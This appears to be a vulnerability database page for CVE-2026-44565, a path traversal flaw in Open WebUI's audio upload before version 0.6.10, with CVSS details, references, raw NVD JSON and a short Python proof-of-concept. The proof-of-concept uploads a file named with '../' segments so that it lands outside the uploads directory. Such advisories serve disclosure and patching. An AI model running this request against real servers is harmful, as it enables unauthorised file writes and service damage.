CVE-2026-44565

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.10, when uploading an audio file, the name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This vulnerability is fixed in 0.6.10.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.6.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL for audio upload
target_url = "http://<target-ip>/api/v1/audio/upload"

# Malicious file with path traversal in filename
# The filename attempts to write to /tmp/poc.txt
files = {
    'file': ('../../tmp/poc.txt', b'VULNERABLE_FILE_CONTENT', 'audio/mpeg')
}

# Headers (Authorization might be needed based on config)
headers = {
    # 'Authorization': 'Bearer <valid_token>'
}

try:
    response = requests.post(target_url, files=files, headers=headers)
    print(f"Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")
    
    if response.status_code == 200:
        print("[+] Potential exploitation successful. Check target filesystem.")
    else:
        print("[-] Exploitation failed or endpoint changed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44565
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44565
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44565/
[4] VulDB https://vuldb.com/cve/CVE-2026-44565
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-j3fw-wc48-29g3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44565", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:52.780", "lastModified": "2026-05-15T22:16:52.780", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.10, when uploading an audio file, the name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This vulnerability is fixed in 0.6.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j3fw-wc48-29g3", "source": "[email protected]"}]}}